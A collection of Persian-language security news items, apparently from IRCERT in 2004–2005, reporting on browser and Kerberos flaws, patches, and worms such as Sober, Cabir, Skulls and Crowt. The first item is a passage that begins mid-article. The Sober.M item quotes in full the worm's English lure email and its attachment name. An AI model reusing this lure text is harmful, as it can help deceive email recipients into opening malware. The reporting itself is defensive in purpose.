تولیدکنندگان این نرم افزار می گویند که این اشکال تنها برای کاربران سیستم عامل ویندوز بروز می کرد و کاربران لبنوکس و مکینتاش با این مشکل روبرو نبودند. این مشکل همانند مشکل امنیتی اخیر IE به هکر اجازه می دهد تا یک برنامه موجود را اجرا کند و برای دسترسی بیشتر نیاز به استفاده از حفره های امنیتی موجود در آن برنامه هاست.

این حفره اجازه می دهد تا یک پسوند فایل برای سیستم عامل ارسال شود. سپس ویندوز XP در پاسخ برنامه helper را اجرا می کند. مهمترین تهدید آن است که هکر می تواند پارامترهایی را به برنامه helper ارسال کند تا از حفره های آن استفاده کند. همچنی برنامه shell می تواند باعث هنگ کردن کامپیوتر شود.

این اخبار در زمانی منتشر می شود که مایکروسافت نیز در هفته های اخیر درگیر آخرین سری از مشکلات امنیتی مرورگر خود بوده است و کارشناسان استفاده از بعضی مرورگهای دیگر را توصیه کرده بودند. مایکروسافت توسیه کرده است تا کاربران مرورگر IE تعدادی توصیه امنیتی را ارعایت کنند.

تولیدکنندگان Mozilla می گویند که نسخ آتی مرورگر Firefox امکان اطلاع رسانی خودکار درباره اصلاحیه های امنیتی را خواهد داشت و لذا کاربران به راحتی در جریان این امور قرار خواهند گرفت.


﻿ IRCERT - جاسوسان در اتاقهای گفتگو - اخبارها و هشدارها

جاسوسان در اتاقهای گفتگو

24 نوامبر 2004 - 4 آذر 1383

بنابر گزارشاتی که اخیرا منتشر شده اند، CIA سعی دارد جهت شناسایی تروریست های احتمالی به نظارت بر اتاقهای گفتگو ( chat rooms ) بپردازد.

در آوریل سال 2003 CIA موافقت کرد که بر روی پروژه های تحقیقاتی جدیدی سرمایه گذاری کند که توانایی های جدیدی را برای مبارزه با تروریسم از طریق فناوری پیشرفته فراهم می کند. یکی از این پروژه های تحقیقاتی اختصاص به نظارت بر رفتار کاربران اتاقهای گفتگو دارد.

CIA و محققانی که بر روی این پروژه کار می کنند در این باره سخنی نمی گویند. بنابه گفته این محققان پروپوزال آنها سیستمی را پیشنهاد می کند که در زمینه هر اتاق گفتگویی قرار می گیرد و به آرامی شنود می کند. این سیستم می تواند به دستگاههای امنیتی کمک کند تا بدون دخالت کاربر به شناسایی گروههای مخفی و الگوهای ارتباطی در اتاقهای گفتگو پی ببرند. این برنامه روی یک کانال IRC شنود می کند و تمامی پیغامها را ثبت می کند. IRC یکی از قدیمی ترین و پرطرفدارترین روشهای چت است که روزانه صدها هزار نفر را به خود جذب می کند. گفته می شود این تحقیق در اول ژانویه 2005 آغاز می شوداما به نام سرورهای IRC‌ اشاره نشده است.


﻿ IRCERT - اخبار و هشدارها - RealPlayers اصلاحیه های امنیتی برای

اصلاحیه های امنیتی برای RealPlayers

3 مارس 2005 - 13 اسفند 1383

شرکت RealNetworks اصلاحیه هایی را برای نرم افزارهای پخش کننده فایلهای صوتی و تصویری ارائه کرده است تا از انجام حملات سرریز باقر جلوگیری کند.

این اصلاحیه ها که دو روز پیش ارائه شدند، حفره هایی را هدف قرار می دهند که به یک هکر اجازه می دهند تا در زمان پخش یک فایل WAV یا SMIL ، کدی دلخواه را روی سیستم کاربر اجرا کند.

شرکت امنیتی Secunia درجه خطر این حفره ها را critical دانسته است.

این اصلاحیه ها برای نسخ Mac RealPlayer 10 و نسخ مختلف تحت ویندوز مانند RealPlayer 10.5، RealPlayer 10، RealPlayer Enterprise و نسخ خاصی از RealOne Player v2 ارائه شده اند.

کارشناسان توصیه کرده اند که کاربران سیستم عاملهای ویندوز، مکیناتش و لینوکس، نرم افزارهای Real خود را به روز کنند.


﻿ IRCERT - در اختیار گرفتن ویندوز ساده تر است - اخبارها و هشدارها

در اختیار گرفتن ویندوز ساده تر است

13 آگوست 2004 – 23 مرداد 1383

ویندوز سالها منتظر بود تا کارشناسان امنیتی بپذیرند که هزینه کلی مالکیت ویندوز پایین تر است . بالاخره یکی از کارشناسان این حرف را پذیرفت اما خبرهای خوبی برای مایکروسافت نداشت.

امروز دیوید آرتیل ، ‌یکی از کارشناسان مشهور امنیتی ،‌ در مقاله ای اشاره کرده است که اگر یک کامپیوتر از سیستم عامل ویندوز استفاده کند ، در اختیار گرفتن آن برای یک هکر ساده تر است. آرتیل معتقد است که بحث مقایسه امنیتی ویندوز با لینوکس جدی است و تنها در حد شوخی و بحث های دوستانه نیست. وی می گوید :“‌ ما با این موضوع به شکل شوخی برخورد می کنیم اما داده های جمع آوری شده و نتایج حاصله کاملا واقعی و جدی است.“

مقاله که "Microsoft Windows: A lower Total Cost of 0wnership" نام دارد سایر تحقیقات انجام شده همانند تحقیق انجام شده توسط IDC را که با سرمایه گزاری مایکروسافت انجام شده و قصد دارد نشان دهد که هزینه ویندوز کمتر از لینوکس است، ‌به تمسخر می گیرد. تحقیق دیگری که توسط فورستر منتشر شده بود نشان می داد که تهدیدهای حاصله از مشکلات امنیتی لینوکس بسیار بیشتر از موارد مشابه در ویندوز است اما آرتیل معتقد است که اطلاعات مورد استفاده در این تحقیق نیز بسیار مبهم و غیرقابل استناد بوده است.

وی در نتیجه گیری خود اعلام می کند که با وجود تلاشهای بسیار مایکروسافت جهت تامین امنیت سیستم عاملش، امنیت ویندوز ساده تر از لینوکس در معرض خطر قرار می گیرد.

در این مقاله اطلاعات زیادی مورد استناد قرار نگرفته و لذا کار برای مایکروسافت جهت پاسخگویی سخت نیست. آرتیل در مقاله خود اشاره کرده است که شش روز طول کشید تا اولین مشکل امنیتی در Red Hat-sponsored Fedora Core 2 پیدا شود و این زمان به طور متوسط دو برابر زمانی است که برای یافتن یک مشکل امنیتی ناشناخته در ویندوز لازم است. البته محققان عوامل مختلفی را در این اختلاف زمانی موثر می دانند که از آن جمله می توان به وجود ابزارهای بهتر برای تشخیص حفره در ویندوز ،‌ لایه دفاعی بهتر و مناسب تر لینوکس و نقاط بیشتر شناسایی شده در ویندوز برای اجرای کد و انجام حمله اشاره کرد.

مایکروسافت سعی کرده است تا با اراده SP2 مشکلات امنیتی خود را رفع کند اما آرتیل معتقد است تا زمانی که یک مشخصه امنیتی در پردازنده های کامپیوترها فعال نشود این مشکلات ادامه خواهد داشت. منظور وی یک علامت غیرقابل اجرا بودن یا write-XOR-execute bit است که به پردازنده اجازه می دهد تا از اجرای کد توسط هکرها جلوگیری کند. در حال حاضر AMD این فناوری را معرفی کرده است که به enhanced virus protection یا enhanced virus protection‌ مشهور است.

مایکروسافت درباره این مقاله اعلام نظری نکرده است.


﻿ IRCERT - اخبار و هشدارها - Kerberos مشکلات جدی امنیتی در

مشکلات جدی امنیتی در Kerberos

1 سپتامبر 2004 – 11 شهریور 1383

حفره های موجود در فناوری مورد استفاده در تعیین هویت در شبکه های کامپیوتری باعث شده است که کامپیوترهای دارای سیستم عاملهای یونیکس، لینوکس و Mac OS در برابر حملات بدون حفاظ باشند.

این حفره های می توانند به یک هکر اجازه دهند تا کنترل کامپیوترهایی را که Kerberos را اجرا کرده اند، در دست بگیرد. این مشکلات امنیتی که توسط Kerberos Team و برنامه نویسان شرکت Sun Microsystems کشف شده اند باید هرچه زودتر اصلاح شوند. سام هارتمن ، یکی از مدیران تیم می گوید:“ انتظار نمی رود این حفره ها به انتشار کرم اینترنتی بیانجامد. از آنجایی که اصلاح این مشکلات به راحتی انجام پذیر است ، بیشتر سایتها به راحتی این کار را انجام خواهند داد.“

Kerberos سنگ بنای امنیتی بسیاری از شبکه ها محسوب می شود.این نرم افزار به عنوان یک دربان عمل می کند و افرادی را که مجاز هستند به کامپیوترهای شبکه دسترسی داشته باشند، شناسایی می کند، لذا وجود حفره در این نرم افزار می تواند بسیار خطرناک باشد.

این حفره ها که به حفره های آزادسازی دوباره مشهورند، به دلیل آن به وجود می آیند که بخشی از برنامه سعی می کند تا یک قسمت از حافظه کامپیوتر را دوبار آزاد کند. چنین مشکلاتی همانند سایر مشکلات حافظه ( مانند سرریز بافر) به راحتی قابل سوء استفاده نیستند.

بنا به گفته هارتمن تا به حال برنامه ای که برای سوء استفاده از این حفره ها نوشته شده باشد، دیده نشده و حمله جدی و مهمی نیز مشاهده نشده است. اما با این وجود متخصصان به مدیران شبکه ها توصیه کرده اند تا هرچه سریعتر اصلاحیه های مربوط را دریافت و نصب کنند.

Kerberos در بسیاری از نرم افزارها و تجهیزات امنیت شبکه به کار گرفته می شود. مایکروسافت از این مکانیزم برای کنترل امنیت در تایید هویت Active Directory استفاده می کند. بنا به گفته هارتمن ، نسخه مورد استفاده مایکروسافت که در همین شرکت تولید شده، حفره های مزبور را ندارد.

اما سولاریس ، لینوکس متعلق به شرکت RedHat ، Mandrake و OS X همگی از Kerberos استفاده می کنند. بعضی شرکتها مانند RedHat و Sun اصلاحیه هایی را برای رفع مشکل ارائه کرده اند اما سایرین هنوز چنین کاری انجام نداده اند.

مدیران شبکه ها باید به سایت تولیدکننده سیستم عامل مورد استفاده خود سر بزنند تا اطلاعات بیشتری درباره این حفره ها بیایند.


﻿ IRCERT - اخبار و هشدارها - JPEG ویروس

منتظر ویروس JPEG‌ باشید

28 سپتامبر 2004 - 7 مهر 1383

اسب تروایی که با استفاده از مشکل امنیتی پردازش تصاویر JPEG در ویندوز به کامپیوترها نفوذ می کند به گروههای خبری متعددی ارسال شده اما راهی برای گسترش خود ندارد.

گرچه این کد تنها بازدیدکنندگان از سایتهای گروههای خبری را تهدید می کند اما متخصصان هشدار داده اند که تنها یک مرحله کوچک تا تولید و انتشار یک ویروس مخرب و جدی باقی است. الیور فریدریک - مدیر ارشد گروه پاسخگویی امنیتی Symantec - معتقد است که به مرحله تولید یک کرم اینترنتی بسیار نزدیک شده ایم. بنا به گفته وی پس از آشکار شدن مشکل امنیتی پردازش فایلهای JPEG در ویندوز و انتشار کد نفوذ از طریق این حفره، ابزاری ارائه شده است که به صورت خودکار تصاویر JPEG خطرناک می سازد. آخرین کد ارائه شده باید توسط کاربر دریافت و در محیط Windows Explorer نمایش داده شود تا بتواند سیستم وی را آلوده کند. این روش تعداد کامپیوترهای آلوده شده را بسیار محدود می کند.

مایکروسافت طی بیانیه ای اعلام کرده است که با توجه به روش آلوده سازی، خطر مهمی کاربران را تهدید نمی کند و تا به حال گزارشی از یکی از مشتریان مبنی بر آلوده شدن دریافت نکرده است. این شرکت اشاره کرده است که به تحقیقات خود ادامه خواهد داد و درصورت نیاز منابع و راهنماییهای جدیدی را در اختیار کاربران قرار خواهد داد.

بنا به گفته Easynews اسکنرها تنها دو تصویر آلوده را بر روی شبکه یافته اند. Easynews این کد را ویروس خوانده اما F-Secure به دلیل عدم امکان تکثیر آن را ویروس ندانسته است. کد فرستاده شده بر روی Easynews که Symantec نام Trojan.Moo را بر آن گذارده، به وسیله ابزار خودکار تولید تصاویر آلوده ساخته شده است. این ابزار که JPEG of Death نام دارد به صورت مرتب توسط نویسندگان آن به روز می شود.

Symantec و McAfee‌ امکان تشخیص تصاویر آلوده را در برنامه ضدویروس خود دارند.


﻿ IRCERT - هجوم هکرها به ابزارهای امنیتی - اخبارها و هشدارها

هجوم هکرها به ابزارهای امنیتی

20 ژوئن 2005 - 30 خرداد 1384

تحلیلگران معتقدند با رفع تدریجی مشکلات امنیتی ویندوز، هکرها به دنبال یافتن حفره های ابزارهای امنیتی و نفوذ به سیستمها از طریق این حفره ها هستند.

در تحقیقی که امروز توسط Yankee Group منتشر شده است، اشاره شده که تابه حال تولیدکنندگان محصولات ضدویروس مجبور نشده اند مشکلات بالقوه موجود در کد خود را تایید و تصحیح کنند و در نتیجه این ابزارها به هدف خوبی برای هکرها تبدیل شده اند.

این تحلیلگران نوشته اند که سیستم عامل ویندوز یک هدف مناسب برای هکرها بود اما حفره های امنیتی جدید در ابزارهای امنیتی سریعتر از محصولات مایکروسافت پیدا و معرفی می شوند. در 15 ماهی که به 31 مارس ختم می شد، 77 حفره امنیتی مجزا توسط این تولیدکنندگان گزارش شده است.

بنابر این گزارش شرکتهای Symantec، F-Secure و CheckPoint از جمله تولیدکنندگانی هستند که مشکلات امنیتی پیدا شده در محصولاتشان افزایش یافته است.

این تحلیلگران معتقدند که اگر کار به همین روال ادامه یابد، تعداد مشکلات محصولات امنیتی نسبت به سال 2004، 50 درصد رشد خواهد داشت. در حالی که نرخ مشکلات امنیتی محصولات مایکروسافت کاهش قابل توجهی داشته است.


﻿ IRCERT - و افزایش خطر هویت ربایی - اخبارها و هشدارها Crowt

Crowt و افزایش خطر هویت ربایی

11 آوریل 2005 - 22 فروردین 1384

Trend Micro هشدار داد که نسخه جدیدی از کرم Crowt کشف شده است که می تواند از دسترسی مرورگرهای آلوده به سایت فروشندگان ضدویروس جلوگیری کند.

Trend Micro در راهنمایی امنیتی خود آورده است که Crowt.D بخش خبری سایت گوگل را در برابر آلودگی باز می کند و به فایل hosts در کامپیوترها هشدار می دهد که لیستی از نشانی های سایت ها را اضافه کند. هنگامی که کاربران روی یکی از این نشانی ها کلیک می کنند، به یک نشانی داخلی loopback می شوند که باعث می شود دسترسی به سایتهای درون لیست بلوکه شود. این کرم دسترسی به سایتهای Trendmicro.com، Kapersky-labs.com، Sophos.com، Symantec.com و Us.mcafee.com را محدود می کند.

Trend Micro درجه خطر این کرم را low ارزیابی کرده است اما آن را کرمی قابل توجه می داند چون این پتانسیل را دارد که حتی زمانی که قربانی با دست نشانی سایتی را تایپ کند، وی را به یک سایت هویت ربا هدایت کند.

به گفته متخصصین این کرم در تمامی مرورگرها موفق عمل می کند و ویندوزهای 95،98، ME، NT، 2000 و XP را تحت تاثیر قرار می دهد. Crowt.D خود را به نشانی هایی که در Address Book ویندوز می یابد ارسال می کند.


﻿ IRCERT - اسکلتها و انتقال ویروس به موبایل - اخبارها و هشدارها

اسکلتها و انتقال ویروس به موبایل

29 نوامبر 2004 - 9 آذر 1383

ویروس نویسان نسخه جدید اسب تروای Skulls را با یک ویروس برای تلفنهای همراه منتشر کرده اند.

شرکت امنیتی F-Secure طی یک راهنمایی امنیتی امروز اعلام کرد که اسب تروای جدید که Skulls.B نام دارد، همانند نسخه پیشین، به نمایش تصاویر سر اسکلت به جای آیکونهای برنامه ها در موبایلهای دارای سیستم عامل Symbian می پردازد. همچنین این اسب تروا کرم Cabir.B را نیز با خود همراه دارد.

Cabir که از کاربران درباره آلوده کردن سیستم آنها سوال می کند، در زمان انتشارش در اوایل امسال، به نظر یک ویروس برای اثبات درستی ادعای وجود چنین روشی برای آلوده سازی می آمد. این ویروس خود را با ارسال به گوشی های دارای Bluetooth منتشر می کرد.

گوشی هایی که به Skulls.B آلوده می شوند می توانند گوشی های نزدیک خود را به Cabir آلوده کنند. البته اسب تروای مذکور با استفاده از Cabir‌ نمی تواند منتقل شود و باید توسط کاربر دریافت شود.

هنگامی که یک گوشی به Cabir آلوده شد، کلمه Caribe روی صفحه نمایش داده می شود و در همان زمان کرم به ایجاد تغییر در سیستم عامل Symbian و یافتن تلفنهای همراه دیگر برای آلوده سازی می پردازد.

F-Secure اعلام کرده است که گوشی های کارخانه های نوکیا، زیمنس، پاناسونیک و Sendo در برابر این حمله نفوذپذیر هستند. این شرکت برای پاکسازی گوشی های آلوده یک راهنمایی ارائه کرده است.

Symbian پیش از این اعلام کرده بود که اسب تروای Skulls تنها گوشی های دارای نرم افزار Nokia's Series 60 را آلوده می کند. امکان دسترسی به تولیدکننده این نرم افزار جهت دریافت نظرات وی تا به حال میسر نشده است.

میکو هایپونن - مدیر بخش تحقیقات F-Secure - معتقد است که Skulls‌با توجه به ماهیت تروایی آن تهددی جدی و مهمی برای کاربران موبایل نیست اما می تواند ویروس نویسان را برای هدف قرار دادن گوشی های موبایل تشویق و ترغیب کند. وی می گوید:“ تفاوت عمده کامپیوترها و گوشی ها، ارتباط مستقیم گوشی ها با مبحث پول است. اگر یک گوشی را بتوان آلوده کرد امکان برقراری تماس از طریق آن و ارسال پیغام میسر می گردد و در واقع از افراد به این شکل سرقت می شود.“


﻿ IRCERT - اسکلتها به جنگ موبایلها می روند - اخبارها و هشدارها

اسکلتها به جنگ موبایلها می روند

19 نوامبر 2004 - 29 آبان 1383

ویروس نویسان موبایلهای مبتنی بر سیستم عامل Symbian را هدف گرفته اند و اسب تروایی را نوشته اند که برنامه های کاربردی سیستم را از بین می برد و آیکون آنها را با تصویر سر اسکلت (skull) جایگزین می کند.

بنابه گفته میکو هایپونن - مدیر تحقیقات شرکت F-Secure - این برنامه که توسط شرکتهای ضدویروس Skulls نام گرفته است، خود را به عنوان یک برنامه مدیریت آهنگهای تلفنهای Nokia در قالب سیستم Symbian معرفی می کند. تا به حال کاربران زیادی با این اسب تروا برخورد نکرده اند. وی می گوید:“ این یک ویروس نیست و لذا در حال گسترش نیست.“

این برنامه آخرین تهدید علیه تلفنهای موبایل و PDA ها به شمار می رود. اوایل این ماه میلادی یک برنامه با نام Delf کامپیوترها را آلوده کرد تا به موبایلهای کاربران روسی اسپم ارسال کند. دو برنامه خطرناک دیگر با نامهای Mosquito و Cabir نیز تلاش داشتند تا تلفنهای دارای سیستم عامل Symbian را هدف قرار دهند.

هنگامی که این برنامه اجرا می شود تمامی ارتباطات و پیوندها با برنامه های سیستم Symbian‌را از بین می برد و آیکونها را با تصویر اسکلت جاگزین می کند. هایپونن معتقد است برنامه هایی که متعلق به این سیستم عامل نیستند می توانند به کار خود ادامه دهند، لذا اگر کاربری از یک سیستم فایل دیگر غیر Symbian استفاده کند، می تواند فایلهای برنامه های خطرناک را بیاید و پاک کند. کاربرانی که از یک سیستم فایل دیگر استفاده نمی کنند برای خلاص شدن از شر ویروس باید یک reset سخت افزاری کنند تا تلفن به حالت اولیه خروج خود از کارخانه برگردد. در این حالت کاربر نیز تمامی اطلاعات خود را از دست می دهد.

این برنامه باعث دردسر می شود اما خطر آن جدی نیست.


﻿ IRCERT - چند اصلاحیه برای ویندوز - اخبارها و هشدارها

چند اصلاحیه برای ویندوز

6 اکتبر 2005 – 14 مهر 1384

مایکروسافت قصد دارد در ادامه برنامه ارائه ماهانه اصلاحیه ها، در روز سه شنبه هفته جاری ( 19 مهر)، 8 هشدار امنیتی را برای مشکلات موجود در سیستم عامل ویندوز ارائه کند.

مایکروسافت در هشدار اولیه ای که امروز روی سایت خود منتشر کرده ، حداقل یکی از هشدارها را دارای بالاترین درجه خطر از نظر مایکروسافت ( critical ) دانسته است. ماه گذشته نیز مایکروسافت اعلام کرده بود که یک هشدار critical ارائه خواهد کرد اما در آخرین ساعات به خاطر مسائل کیفیتی، آن را از لیست خارج کرد. مایکروسافت زمانی یک تهدید امنیتی را critical می داند که بدون دخالت کاربر به یک کرم اینترنتی خطرناک اجازه گسترش دهد.

همچنین این شرکت اعلام کرده است که در روز سه شنبه یک بولتن امنیتی نیز منتشر خواهد کرد که مشکل موجود در ویندوز و سرور Exchange را پوشش می دهد. این مشکل امنیتی دارای درجه important است که یک درجه پایین تر از critical به شمار می آید.

مایکروسافت اعلام نکرده است که آیا هیچ یک از اصلاحیه ها به مرورگر IE مرتبط خواهد بود یا خیر. طی چند هفته گذشته محققان امنیتی بسیاری به مشکلات متعدد امنیتی در IE برخورد کرده اند. بعضی از حفره های یافت شده به یک هکر اجازه می دهد تا اختیار سیستم قربانی را در اختیار بگیرند.

بنابه گفته Secunia مشکلات امنیتی متعددی در IE وجود دارند که هنوز اصلاح نشده اند. این شرکت امنیتی از سال 2003، 86 هشدار امنیتی درباره این محصول مایکروسافت منتشر کرده است که 20 مشکل از این لیست هنوز اصلاح نشده اند.

همچنین در ادامه برنامه ارائه اصلاحیه های ماهانه خود، مایکروسافت یک نسخه به روز شده از ابزار پاک کردن نرم افزارهای خطرناک ویندوز (Windows Malicious Software Removal Tool ) ارائه خواهد کرد. این نرم افزار برنامه های خطرناک معمول را شناسایی و پاک می کند.

مایکروسافت اطلاعات بیشتری درباره اصلاحیه های روز سه شنبه ارائه نکرده است و تنها اشاره کرده است که بعضی از این اصلاحیه ها ممکن است نیاز به بازآغازی کامپیوتر داشته باشند.

مایکروسافت در ماه سپتامبر اصلاحیه ای ارائه نکرد اما در ماه آگوست 6 بولتن امنیتی منتشر کرد که 3 مورد آن دارای درجه اهمیت critical‌ بود.


﻿ IRCERT - کرم تلفنهای هوشمند گوشی را گذاشت - اخبارها و هشدارها

کرم تلفنهای هوشمند گوشی را گذاشت

15 ژوئن 2004 – 26 خرداد 1383

کرم Cabir که روز گذشته آن را معرفی کردیم ،‌ در دنیای واقعی گسترش نخواهد یافت. بعضی محققین در ابتدا تصور می کردند که این کرم به طور خودکار روی تلفنهای مبتنی بر سیستم عامل Symbian اجرا می شود، اما بررسی های انجام شده این حدس را تصدیق نمی کند.

کوین هوگان – مدیر ارشد شرکت Symantec – کاربر تلفن قربانی باید بپذیرد که یک فایل را از یک منبع ناشناس دریافت کند. وی می گوید :“ حتی اگر این کرم بر روی شبکه عمومی فرستاده شده بود ، روشی که این کرم برای تکثیر خود در نظر گرفته ، باعث محدودیت شدید میزان انتشار می شد .“ وی می افزاید :‌“ در واقع روش کار کرم مبتنی بر وجود یک حفره امنیتی در سیستم عامل نیست بلکه مبتنی است بر وجود مشکل امنیتی در کاربر آن سیستم عامل!“

بنابه گفته هوگان کرم برای انتشار باید سه مرحله را طی کند. اول کاربر تلفن هدف باید اجازه دهد تا تلفن آلوده با استفاده از پروتکل بی سیم Bluetooth به تلفن وی وصل شود. سپس این کاربر باید دریافت داده را بپذیرد و در نهایت وی باید با نصب این برنامه موافقت کند.

هوگان همچنین اشاره می کند:“ ما هنوز این کرم را در شبکه عمومی ندیده ایم و در واقع یک ویروس آزمایشگاهی است که در دست نویسندگان آن و بعضی محققین است. “ البته کارشناسان متذکر شده اند که ممکن است ویروسهای جدیدی با استفاده از این کرم نوشته شوند که بنابر گزارشهای رسیده دو نمونه تا به حال دیده شده اند. اما خوشبختانه نصب آن روی تلفن بدون اجازه کاربر ممکن نیست.

بنا به گزارش Cabir , Symantec عملیات مخربی انجام نمی دهد اما از آنجا که به طور مرتب به دنبال دستگاههای با امکان Bluetooth می گردد تا آنها را آلوده کند لذا به شدت عمر باطری سیستم آلوده را کاهش می دهد.


﻿ IRCERT - در صدر ویروسهای ماه مه - اخبارها و هشدارها Sober

Sober در صدر ویروسهای ماه مه

1 ژوئن 2005 - 11 خرداد 1384

کرم اینترنتی Sober در ماه مه به صدر جدول ویروسهای برتر ارائه شده توسط Sophos بازگشته است.

مدیران شبکه ها طی درگیری خود با ویروسها متوجه رشد بالای حجم ویروس Sober شدند که باعث شد این کرم اینترنتی در لیست جایگزین Zafi.D شود. این نسخه از Sober که به دو زبان انگلیسی و آلمانی منتشر شده است، توسط Sophos با نام Sober.N شناخته می شود اما توسط شرکتهای دیگر امنیتی با نامهای Sober.P، Sober.O و Sober.S معرفی شده است.

یکی از مشاوران Sophos می گوید:“ Sober.N در اوایل ماه مه به سرعت خود را به بالای لیست منتقل کرد که یکی از بزرگترین حملات شیوع ویروس در امسال بوده است. این کرم با کمک مهندسی اجتماعی به سرعت خود را منتشر می کند و سعی دارد با پیشنهاداتی مانند بلیط رایگان جام جهانی کاربران را متقاعد سازد که فایل الحاقی آلوده را باز کنند.“

در مجموع Sober.N مسئول 43.8 درصد از آلودگی های ویروسی این ماه است.

لیست 10 ویروس برتر ماه مه به شرح زیر است:

1- Sober.N 43.8 درصد

2- Zafi.D 14.5 درصد

3- Netsky.P 13.1 درصد

4- Netsky.D 3.1 درصد

5- Zafi.B 2.0 درصد

6- Mytob.AZ 1.6 درصد

7- Mytob.Z 1.5 درصد

8- Netsky.Z 1.5 درصد

9- Mytob.E 1.5 درصد

10- Netsky.N 1.4 درصد

سایرین : 16 درصد


﻿ IRCERT - بازمی گردد! - اخبارها و هشدارها Sober

Sober بازمی گردد!

19 آوریل 2005 - 30 فروردین 1384

ویروس نویسان با ارائه نسخه جدیدی از کرم Sober که به سرعت روی اینترنت پخش می شود، این کرم را احیا کرده اند.

متخصصان امنیتی امروز اعلام کردند که این کرم Sober.M نام دارد و نشانی های ایمیل قربانیان خود را برای نویسنده ناشناسش ارسال می کند. این تکنیک harvesting یا درو کردن نام دارد. معمولا اسپمرها این نشانی ها را خریداری می کنند و به لیست های خود می افزایند.

ایمیل ارسالی حاوی کرم به زبان انگلیسی شکسته و محاوره ای است. متخصصین معتقدند که نویسنده ویروس سعی داشته با استفاده از این زبان کاربران را فریب دهد و به آنها بقبولاند که این ایمیل ویروسی نیست.

Sophos اعلام کرده است که این نسخه جدید مقام پنجم رشد را طی 24 ساعت گذشته داشته است و پس از آن نیز دو نسخه از ویروسهای Zafi و Netsky‌قرار داشته اند.

Sober.M در قالب یک فایل الحاقی فشرده با پسوند zip گسترش می یابد و سیستم های ویندوزی را آلوده می کند.ایمیل حاوی این کرم به زبان آلمانی یا انگلیسی ارسال می شود. ایمیل انگلیسی حاوی کرم مزبور را در زیر مشاهده می کنید.

Subject line: I've_got your E-mail on my_account!

Message text:

Hello,
First, Very Sorry for my bad English.
Someone is sending your private e-mails on my address.
It's probably an e-mail provider error!
At time, I've got over 10 mails on my account, but the recipient are you. I have copied all the mail text in the windows text-editor for you & zipped then. Make sure, that this mails don't come in my mail-box again. bye

Attached file: your_text.zip


﻿ IRCERT - خود را در کلاس درس پنهان می کند - اخبارها و هشدارها Sober

Sober خود را در کلاس درس پنهان می کند

6 اکتبر 2005 – 14 مهر 1384

نسخه جدید کرم Sober خود را در قالب یک فایل الحاقی که مدعی است تصویری قدیمی از کلاس درس است و توسط یک همشاگردی فرستاده شده است، منتشر می کند. اما اگر گیرنده ایمیل فایل را باز کند، خود را در میان همشاگردی هایش مشاهده نخواهد کرد بلکه کرمی فعال خواهد شد که اطلاعات را سرقت می کند و خود را تکثیر می کند.

شرکت ضدویروس Sophos اعلام کرده است که این ویروس طی 12 ساعت گذشته 10 درصد گزارشهای مرتبط با ویروسها را به خود اختصاص داده است و دومین رتبه را در لیست ویروسهای فعال از آن خود کرده است.

یکی از تحلیلگران ارشد امنیتی Sophos می گوید:“ این کرم سعی دارد با سوء استفاده از احساس دلتنگی افراد و نوستالژی آنها، تعداد قربانیان خود را افزایش دهد و اطلاعات آنها را سرقت کند.“

اما سایر شرکتهای امنتیتی اهمیت زیادی به این ویروس نداده اند. برای مثال Symantec به این کرم درجه 2 را از 5 داده است. یکی از مدیران تیم پاسخگویی امنیتی Symantec معتقد است که اتفاقی مانند Blaster نمی افتد. وی دلیل این امر را دو دلیل می داند. اولا کاربران شخصی و تجاری بیشتر مراقب تهدیدات هستند. شرکتها فایلهای الحاقی قابل اجرا را بلوکه می کنند و کاربران با این فایلها با دقت و وسواس بیشتری برخورد می کنند. ثانیا ویروس نویسان سعی می کنند انرژی خود را به جای حملات عمومی، صرف حملات هدفدار کنند تا بتوانند به آرامی پولی کسب کنند.

شرکتهای مختلف نامهای متعددی به این نسخه جدید داده اند. Sophos این کرم را Sober-O نامیده است، Secunia آن را Sober.R نام گذاری کرده است و Symantec به آن W32.SoberQ@mm می گوید.


﻿ IRCERT - اخبار و هشدارها - Sober بازهم نسخه دیگری از

بازهم نسخه دیگری از Sober

3 مه 2005 - 13 اردیبهشت 1384

نسخه جدید Sober که دیروز کشف شده است، طی 24 ساعت گذشته گسترش سریعی داشته و در حال حاضر حدود دو سوم ترافیک ویروسی اینترنت متعلق به این کرم اینترنتی است.

این نسخه که Sober.P نام دارد همانند سایر کرمهای Sober عمل می کند و سعی دارد تا از طریق ایمیل و با موضوعی جذاب برای کاربران، آنها را برای باز کردن فایل الحاق شده به ایمیل ترغیب کند. پس از آن ویروس مزبور نشانی های موجود روی سیستم قربانی را برمی دارد و آنها را هدف حملات اسپم قرار می دهد. از آنجایی که این نسخه خود را به صورت فایل فشرده شده پخش می کند، تشخیص آن توسط برنامه های امنیتی و ضدویروس با مشکلاتی روبرو می شود.

Sophos اعلام کرده است که 77 درصد از ویروسهای مونیتور شده توسط ایستگاههای نظارت بر شبکه این شرکت در سطح دنیا، Sober.P هستند. کارشناسان به دلیلی سرعت گسترش این ویروس، ‌آن را ویروسی مهم و قابل توجه می دانند.

نسخ مختلف Sober از سال 2003 در حال انتشار هستند و سیستمهای خانگی و شرکتها را هدف قرار می دهند. دلیل گسترش نسخ مختلف این کرم، عدم توجه کاربران به هشدارهای امنیتی و باز کردن فایلهای الحاقی در ایمیلهای آلوده است.

نسخه جدید Sober از ایمیلی که به دو زبان انگلیسی و آلمانی نوشته شده جهت توزیع خود استفاده می کند. یکی از حقه هایی که در این ایمیل برای فریب دادن کاربران به کار رفته، پیغامی است که به کاربر اعلام می کند که بلیطهای رایگانی را برای مسابقات فوتبال جام جهانی 2006 برنده شده است. هنگامی که قربانی قایل الحاقی آلوده را باز کند، ویروس نشانی های ایمیل روی سیستم وی را برمی دارد. سپس خود را روی سیستم قربانی کپی می کند و ایمیل مشابهی برای نشانی های برداشته شده ارسال می کند.

به گفته Sophos یکی از دلایل انتشار سریع این ویروس، استفاده از همین پیغام جام جهانی است. بسیاری از کاربران علاقمندند که در یکی از بزرگترین وقایع ورزشی حضور داشته باشند و لذا ریسک باز کردن ایمیل را می پذیرند.

به نظر می رسد امسال Spber.P بتواند نام بدترین ویروس را در پایان سال به خود اختصاص دهد. سال گذشته Netsky.P این عنوان را دریافت کرد.


﻿ IRCERT - جدید وارد می شود - اخبارها و هشدارها Sober

نسخه جدید ویروس Sober وارد می شود

19 نوامبر 2004 - 29 آبان 1383

نسخه جدیدی از کرم اینترنتی Sober امروز کشف شده است. این نسخه به سرعت در حال گسترش در اروپا و آمریکاست. شرکتهای امنیتی درجه خطر این نسخه را متوسط ارزیابی کرده اند.

متخصصان امنیتی معتقدند کرم W32.Sober.i که خود را از طریق ایمیلهایی به زبانهای انگلیسی و آلمانی تکثیر می کند، یکی از تهدیدهای جدی پاییز امسال خواهد بود.

